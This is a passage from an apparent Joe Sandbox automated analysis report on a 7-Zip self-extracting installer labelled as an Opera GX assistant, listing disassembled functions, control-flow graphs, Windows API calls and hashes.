                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ??3@$_wtol$lstrlen$Message$??2@CommandCurrentFileLineModuleProcessTimer$?_set_new_handler@@AddressAttributesCallbackCreateDirectoryDispatchDispatcherHandleInitializeKillLibraryLoadNameProcSizeStateUserVersionWindowWorking_wcsnicmpmemsetwsprintf
                                                                                                                                                                                                                • String ID: " -$7-Zip SFX$7ZipSfx.%03x$7zSfxString%d$AutoInstall$BeginPrompt$BeginPromptTimeout$Delete$ExecuteFile$ExecuteParameters$FinishMessage$GUIFlags$GUIMode$HelpText$InstallPath$MiscFlags$OverwriteMode$RunProgram$SelfDelete$SetEnvironment$Shortcut$Sorry, this program requires Microsoft Windows 2000 or later.$amd64$bpt$del$forcenowait$hidcon$i386$nowait$setup.exe$sfxconfig$sfxelevation$sfxversion$sfxwaitall$shc$waitall$x64$x86
                                                                                                                                                                                                                • API String ID: 1141480454-1804565692
                                                                                                                                                                                                                • Opcode ID: 70a7d65285e36a262c3a2cf8e4b5a9e43de99ee9e9d9800a26e684d4ceed3c9c
                                                                                                                                                                                                                • Instruction ID: 839f8ad789dc81d3af8c82f495bd702834d4a62b9ebc11d4b30192562ff1c903
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 70a7d65285e36a262c3a2cf8e4b5a9e43de99ee9e9d9800a26e684d4ceed3c9c
                                                                                                                                                                                                                • Instruction Fuzzy Hash: E9D2DE71904208AADB10AF61DD46AEF37A8EF40318F54403FF906B61E1EB7D99A1CB5D
                                                                                                                                                                                                                Function 0040239B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                control_flow_graph 905 40239b-4023ba LoadLibraryA GetProcAddress 906 4023c8-4023cb 905->906 907 4023bc-4023c7 GetNativeSystemInfo 905->907
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • LoadLibraryA.KERNEL32(kernel32,GetNativeSystemInfo,?,?,?,?,?,004023D1,00405BCF,00418818,00418818), ref: 004023AB
                                                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000), ref: 004023B2
                                                                                                                                                                                                                • GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,004023D1,00405BCF,00418818,00418818), ref: 004023C0
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: AddressInfoLibraryLoadNativeProcSystem
                                                                                                                                                                                                                • String ID: GetNativeSystemInfo$kernel32
                                                                                                                                                                                                                • API String ID: 2103483237-3846845290
                                                                                                                                                                                                                • Opcode ID: 29c8b91972701315efc4f7d7d8bddbd6f250053e02b88915a068c2978826be41
                                                                                                                                                                                                                • Instruction ID: afd952334ce5608e5f84ab2444d6511bb433925e4e51cff7b4d4dc1f25dbb455
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 29c8b91972701315efc4f7d7d8bddbd6f250053e02b88915a068c2978826be41
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 35D05EB070030877CB10EBB56D0EADB32F859C8B487100461A902F10C0EABCDE80C378
                                                                                                                                                                                                                Function 004033B3 Relevance: 7.5, APIs: 5, Instructions: 45COMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                control_flow_graph 947 4033b3-4033ca GetFileAttributesW 948 4033d0-4033d2 947->948 949 4033cc-4033ce 947->949 951 4033e1-4033e8 948->951 952 4033d4-4033df SetLastError 948->952 950 403429-40342b 949->950 953 4033f3-4033f6 951->953 954 4033ea-4033f1 call 403386 951->954 952->950 956 403426-403428 953->956 957 4033f8-403409 FindFirstFileW 953->957 954->950 956->950 957->954 959 40340b-403424 FindClose CompareFileTime 957->959 959->954 959->956
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetFileAttributesW.KERNELBASE(?,-00000001), ref: 004033C1
                                                                                                                                                                                                                • SetLastError.KERNEL32(00000010), ref: 004033D6
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: AttributesErrorFileLast
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 1799206407-0
                                                                                                                                                                                                                • Opcode ID: 7f02d877fe96693e79d52cb70461d1cf76c14600a7221cb4648c6da81f4608cf
                                                                                                                                                                                                                • Instruction ID: 608ba71f646b69bc36d7accade446189952d3e61ba5e6ec9fefd2cffda7f1f25
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 7f02d877fe96693e79d52cb70461d1cf76c14600a7221cb4648c6da81f4608cf
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 3A01D6315001156BDB105FB4AC8D9DA3B5CAF51327F504632F922F11E0EB38D741465D
                                                                                                                                                                                                                Function 004011FD Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetDiskFreeSpaceExW.KERNELBASE(?,00000000,00000000), ref: 00401219
                                                                                                                                                                                                                • SendMessageW.USER32(00008001,00000000,?), ref: 00401272
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: DiskFreeMessageSendSpace
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 696007252-0
                                                                                                                                                                                                                • Opcode ID: 76c877f8e4e04b6b1800e0e3c37e02ee1ef8b0dd0ed0dfcb9a9652151f192eb4
                                                                                                                                                                                                                • Instruction ID: 6537aa89ce628f24a2eb9e1cdbee530b0aed1928fb96dd1290126444b22a0e58
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 76c877f8e4e04b6b1800e0e3c37e02ee1ef8b0dd0ed0dfcb9a9652151f192eb4
                                                                                                                                                                                                                • Instruction Fuzzy Hash: A4016D31214208AAEB11DB60DD85F9A37A9EB40700F6081BEF511FA1E0CB79A9508B1D
                                                                                                                                                                                                                Function 00401841 Relevance: 22.8, APIs: 15, Instructions: 304COMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                control_flow_graph 724 401841-401851 725 401853-401858 724->725 726 40185d-401888 call 40d7d7 call 40f78d 724->726 727 401b9b-401b9e 725->727 731 40188a 726->731 732 40189b-4018a7 call 401484 726->732 733 40188c-401896 call 40c125 731->733 738 401b7d-401b98 ??3@YAXPAX@Z call 40c125 732->738 739 4018ad-4018b2 732->739 740 401b9a 733->740 738->740 739->738 741 4018b8-4018ee call 40139c call 40157d call 4013d5 ??3@YAXPAX@Z 739->741 740->727 751 401b63-401b66 741->751 752 4018f4-401913 741->752 753 401b68-401b7b ??3@YAXPAX@Z call 40c125 751->753 756 401915-401929 call 40c125 ??3@YAXPAX@Z 752->756 757 40192e-401932 752->757 753->740 756->733 760 401934-401937 757->760 761 401939-40193e 757->761 763 401966-40197d 760->763 764 401960-401963 761->764 765 401940 761->765 763->756 768 40197f-4019a2 763->768 764->763 766 401942-401948 765->766 770 40194a-40195b call 40c125 ??3@YAXPAX@Z 766->770 773 4019a4-4019b8 call 40c125 ??3@YAXPAX@Z 768->773 774 4019bd-4019c3 768->774 770->733 773->733 777 4019c5-4019c8 774->777 778 4019df-4019f1 GetLocalTime SystemTimeToFileTime 774->778 780 4019d1-4019dd 777->780 781 4019ca-4019cc 777->781 782 4019f7-4019fa 778->782 780->782 781->766 783 401a13-401a1a call 4033b3 782->783 784 4019fc-401a06 call 40371d 782->784 788 401a1f-401a24 783->788 784->770 789 401a0c-401a0e 784->789 790 401a2a-401a2d 788->790 791 401b4f-401b5e GetLastError 788->791 789->766 792 401a33-401a3d ??2@YAPAXI@Z 790->792 793 401b45-401b48 790->793 791->751 795 401a4e 792->795 796 401a3f-401a4c 792->796 793->791 797 401a50-401a74 call 401132 call 40c019 795->797 796->797 802 401b2a-401b43 call 40114b call 40c125 797->802 803 401a7a-401a98 GetLastError call 40136a call 4030f3 797->803 802->753 812 401ad5-401aea call 40371d 803->812 813 401a9a-401aa1 803->813 819 401af6-401b0e call 40c019 812->819 820 401aec-401af4 812->820 815 401aa5-401ab5 ??3@YAXPAX@Z 813->815 817 401ab7-401ab9 815->817 818 401abd-401ad0 call 40c125 ??3@YAXPAX@Z 815->818 817->818 818->733 826 401b10-401b1f GetLastError 819->826 827 401b21-401b29 ??3@YAXPAX@Z 819->827 820->815 826->815 827->802
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID:
                                                                                                                                                                                                                • Opcode ID: 7167abf796ffcdcfa3baa95343edb7a312bc631a7dd817c4ecd6387e6776e974
                                                                                                                                                                                                                • Instruction ID: 0cae968632e73b1968c90da9ca4dea23e5e4de3726d7a027592f3d205df29353
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 7167abf796ffcdcfa3baa95343edb7a312bc631a7dd817c4ecd6387e6776e974
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 22B14A71900209EFCB14EFA5D8849EEB7B5FF44314B10852BF412BB2A1EB78A945CB58
                                                                                                                                                                                                                Function 00412DCF Relevance: 16.6, APIs: 11, Instructions: 111COMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                control_flow_graph 830 412dcf-412e44 __set_app_type __p__fmode __p__commode call 412f5b 833 412e52-412ea9 call 412f46 _initterm __getmainargs _initterm 830->833 834 412e46-412e51 __setusermatherr 830->834 837 412ee5-412ee8 833->837 838 412eab-412eb3 833->838 834->833 841 412ec2-412ec6 837->841 842 412eea-412eee 837->842 839 412eb5-412eb7 838->839 840 412eb9-412ebc 838->840 839->838 839->840 840->841 843 412ebe-412ebf 840->843 844 412ec8-412eca 841->844 845 412ecc-412edd GetStartupInfoA 841->845 842->837 843->841 844->843 844->845 846 412ef0-412ef2 845->846 847 412edf-412ee3 845->847 848 412ef3-412f20 GetModuleHandleA call 406da1 exit _XcptFilter 846->848 847->848
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 801014965-0
                                                                                                                                                                                                                • Opcode ID: 329fb5ec40b1a3e22881c27b52012f5837425f84134cca069eaa34249d5edeef
                                                                                                                                                                                                                • Instruction ID: 4f71473f6c996e876dfffe8074da0a06471e4f97bcacb5e315fccfc2763ddc53
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 329fb5ec40b1a3e22881c27b52012f5837425f84134cca069eaa34249d5edeef
                                                                                                                                                                                                                • Instruction Fuzzy Hash: B241AEB4940348AFCB209FA4DD49AEA7BB8FB49710F20412FF841D7291DBB849D1DB59
                                                                                                                                                                                                                Function 00401D4D Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 47timewindowCOMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetModuleHandleW.KERNEL32(00000000,00000000,?,?,?,?,?,?,0040576F,?,00000000), ref: 00401D59
                                                                                                                                                                                                                • CreateWindowExW.USER32(00000000,Static,004144C8,00000000,000000F6,000000F6,00000005,00000005,00000000,00000000,00000000), ref: 00401D76
                                                                                                                                                                                                                • SetTimer.USER32(00000000,00000001,00000001,00000000), ref: 00401D88
                                                                                                                                                                                                                • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00401D95
                                                                                                                                                                                                                • DispatchMessageW.USER32(?), ref: 00401D9F
                                                                                                                                                                                                                • KillTimer.USER32(00000000,00000001,?,?,?,?,?,?,0040576F,?,00000000), ref: 00401DA8
                                                                                                                                                                                                                • KiUserCallbackDispatcher.NTDLL(00000000,?,?,?,?,?,?,0040576F,?,00000000), ref: 00401DAF
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: MessageTimer$CallbackCreateDispatchDispatcherHandleKillModuleUserWindow
                                                                                                                                                                                                                • String ID: Static
                                                                                                                                                                                                                • API String ID: 2479445380-2272013587
                                                                                                                                                                                                                • Opcode ID: 003be153fc8e0c227edcd4b239f3674ac5eb22499557d269a0105fd8ff32caa2
                                                                                                                                                                                                                • Instruction ID: eff3e12e9f1823bf2594ac1749915e0bfe43eaadbfefd36aad20e809da0bd704
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 003be153fc8e0c227edcd4b239f3674ac5eb22499557d269a0105fd8ff32caa2
                                                                                                                                                                                                                • Instruction Fuzzy Hash: AAF0F4715421257BDA202BA6AC4DFDF3E6CDFC6BB2F114261FA19A10D0DA784081C6B9
                                                                                                                                                                                                                Function 0040371D Relevance: 10.6, APIs: 7, Instructions: 145stringtimeCOMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                control_flow_graph 854 40371d-403743 lstrlenW call 40279d 857 403745-403749 call 40119e 854->857 858 40374e-40375a 854->858 857->858 860 403762-403768 858->860 861 40375c-403760 858->861 862 40376b-40376d 860->862 861->860 861->862 863 403791-40379a call 401ba1 862->863 866 403780-403782 863->866 867 40379c-4037af GetSystemTimeAsFileTime GetFileAttributesW 863->867 868 403784-403786 866->868 869 40376f-403777 866->869 870 4037b1-4037bf call 4033b3 867->870 871 4037c8-4037d1 call 401ba1 867->871 873 403840-403846 868->873 874 40378c 868->874 869->868 872 403779-40377d 869->872 870->871 886 4037c1-4037c3 870->886 882 4037e2-4037e4 871->882 883 4037d3-4037e0 call 408dd2 871->883 872->868 880 40377f 872->880 878 403870-403883 call 408dd2 ??3@YAXPAX@Z 873->878 879 403848-403853 873->879 874->863 893 403885-403889 878->893 879->878 884 403855-403859 879->884 880->866 889 403834-40383e ??3@YAXPAX@Z 882->889 890 4037e6-403805 memcpy 882->890 883->886 884->878 888 40385b-403860 884->888 892 403865-40386e ??3@YAXPAX@Z 886->892 888->878 895 403862-403864 888->895 889->893 896 403807 890->896 897 40381a-40381e 890->897 892->893 895->892 898 403819 896->898 899 403820-40382d call 401ba1 897->899 900 403809-403811 897->900 898->897 899->883 904 40382f-403832 899->904 900->899 901 403813-403817 900->901 901->898 901->899 904->889 904->890
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • lstrlenW.KERNEL32(004017FB,00000000,?,?,?,?,?,?,004017FB,?), ref: 0040372A
                                                                                                                                                                                                                • GetSystemTimeAsFileTime.KERNEL32(?,004017FB,?,?,?,?,004017FB,?), ref: 004037A0
                                                                                                                                                                                                                • GetFileAttributesW.KERNELBASE(?,?,?,?,?,004017FB,?), ref: 004037A7
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,004017FB,?,?,?,?,004017FB,?), ref: 00403866
                                                                                                                                                                                                                  • Part of subcall function 0040119E: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,?,00000000,00401498,00000003,?,004057DF,?,00000000), ref: 004011BE
                                                                                                                                                                                                                  • Part of subcall function 0040119E: ??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,00401498,00000003,?,004057DF,?,00000000), ref: 004011E4
                                                                                                                                                                                                                • memcpy.MSVCRT(-00000001,004017FB,?,?,?,?,?,004017FB,?), ref: 004037F8
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,004017FB,?), ref: 00403835
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,00000001,0000000C,004017FB,004017FB,?,?,?,?,004017FB,?), ref: 0040387B
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ??3@$FileTime$??2@AttributesSystemlstrlenmemcpy
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 846840743-0
                                                                                                                                                                                                                • Opcode ID: 914ab71f777ae717cb467d1eb1d7a081186af0028341e36a64339d3dd51420dd
                                                                                                                                                                                                                • Instruction ID: 3276eaba2f91510ab784efe6cdcb99c4529a15556bd6a795246fe739cc12f76e
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 914ab71f777ae717cb467d1eb1d7a081186af0028341e36a64339d3dd51420dd
                                                                                                                                                                                                                • Instruction Fuzzy Hash: AB41EBB6900115A6D720BF698945ABF7BBCEF00716F50817BF901B32C1E77C9A4242ED
                                                                                                                                                                                                                Function 00410275 Relevance: 7.6, APIs: 5, Instructions: 141COMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                control_flow_graph 908 410275-410292 call 40d650 911 410298-41029f call 40fd7e 908->911 912 4103ca-4103cd 908->912 915 4102a1-4102a3 911->915 916 4102a8-4102d7 call 40d5b6 memcpy 911->916 915->912 919 4102da-4102e2 916->919 920 4102e4-4102f2 919->920 921 4102fa-410312 919->921 922 4102f4 920->922 923 41036e-410377 ??3@YAXPAX@Z 920->923 927 410314-410319 921->927 928 410379 921->928 922->921 926 4102f6-4102f8 922->926 924 4103c8-4103c9 923->924 924->912 926->921 926->923 930 41031b-410323 927->930 931 41037e-410381 927->931 929 41037b-41037c 928->929 932 4103c1-4103c6 ??3@YAXPAX@Z 929->932 933 410325 930->933 934 410357-410369 memmove 930->934 931->929 932->924 935 410334-410338 933->935 934->919 936 41033a-41033c 935->936 937 41032c-41032e 935->937 936->934 939 41033e-410347 call 40fd7e 936->939 937->934 938 410330-410331 937->938 938->935 942 410383-4103b9 memcpy call 40c5fe 939->942 943 410349-410355 939->943 945 4103bc-4103bf 942->945 943->934 944 410327-41032a 943->944 944->935 945->932
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • memcpy.MSVCRT(00000000,?,00000020,00010000), ref: 004102CC
                                                                                                                                                                                                                • memmove.MSVCRT(00000000,?,00000020,?,00010000), ref: 00410363
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(00000000), ref: 0041036F
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ??3@memcpymemmove
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 3549172513-0
                                                                                                                                                                                                                • Opcode ID: 23d71014aecfca26dd25615912aaa6ab70287be060eead5d2c89b44186cf1809
                                                                                                                                                                                                                • Instruction ID: 63a56fa8281db28ad90281e808061650b4139096c2ab0ad2d55df77e1dad3be2
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 23d71014aecfca26dd25615912aaa6ab70287be060eead5d2c89b44186cf1809
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 0B41A171A00208ABDB24DFA5C944AEEB7B4FF44744F14456EE841E7241D7B8EEC18B59
                                                                                                                                                                                                                Function 0040E827 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 388COMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                control_flow_graph 960 40e827-40e86f _EH_prolog call 401132 963 40e871-40e874 960->963 964 40e877-40e87a 960->964 963->964 965 40e890-40e8b5 964->965 966 40e87c-40e881 964->966 967 40e8b7-40e8bd 965->967 968 40e883-40e885 966->968 969 40e889-40e88b 966->969 970 40e8c3-40e8c7 967->970 971 40e987-40e99a call 4011fd 967->971 968->969 972 40ecf3-40ed04 969->972 973 40e8c9-40e8cc 970->973 974 40e8cf-40e8de 970->974 981 40e9b1-40e9d6 call 40deaa ??2@YAPAXI@Z 971->981 982 40e99c-40e9a6 call 40e585 971->982 973->974 975 40e8e0-40e8f6 call 40e640 call 40e7fd call 40c419 974->975 976 40e903-40e908 974->976 998 40e8fb-40e901 975->998 979 40e916-40e950 call 40e640 call 40e7fd call 40c419 call 40e717 976->979 980 40e90a-40e914 976->980 985 40e953-40e969 979->985 980->979 980->985 994 40e9e1-40e9fa call 401132 call 40d1d1 981->994 995 40e9d8-40e9df call 40d2a4 981->995 1000 40e9aa-40e9ac 982->1000 991 40e96c-40e974 985->991 997 40e976-40e985 call 40e563 991->997 991->998 1014 40e9fd-40ea20 call 40d1c6 994->1014 995->994 997->991 998->967 1000->972 1017 40ea22-40ea27 1014->1017 1018 40ea56-40ea59 1014->1018 1019 40ea29-40ea2b 1017->1019 1020 40ea2f-40ea47 call 40e690 call 40e585 1017->1020 1021 40ea85-40eaa9 ??2@YAPAXI@Z 1018->1021 1022 40ea5b-40ea60 1018->1022 1019->1020 1040 40ea49-40ea4b 1020->1040 1041 40ea4f-40ea51 1020->1041 1024 40eab4 1021->1024 1025 40eaab-40eab2 call 40ed7f 1021->1025 1026 40ea62-40ea64 1022->1026 1027 40ea68-40ea7e call 40e690 call 40e585 1022->1027 1031 40eab6-40eacd call 401132 1024->1031 1025->1031 1026->1027 1027->1021 1042 40eadb-40eb00 call 40f112 1031->1042 1043 40eacf-40ead8 1031->1043 1040->1041 1041->972 1046 40eb02-40eb07 1042->1046 1047 40eb43-40eb46 1042->1047 1043->1042 1050 40eb09-40eb0b 1046->1050 1051 40eb0f-40eb14 1046->1051 1048 40eb4c-40eba9 call 40e763 call 40e611 call 40e008 1047->1048 1049 40ecae-40ecb3 1047->1049 1065 40ebae-40ebb3 1048->1065 1055 40ecb5-40ecb6 1049->1055 1056 40ecbb-40ecdf 1049->1056 1050->1051 1053 40eb16-40eb18 1051->1053 1054 40eb1c-40eb34 call 40e690 call 40e585 1051->1054 1053->1054 1066 40eb36-40eb38 1054->1066 1067 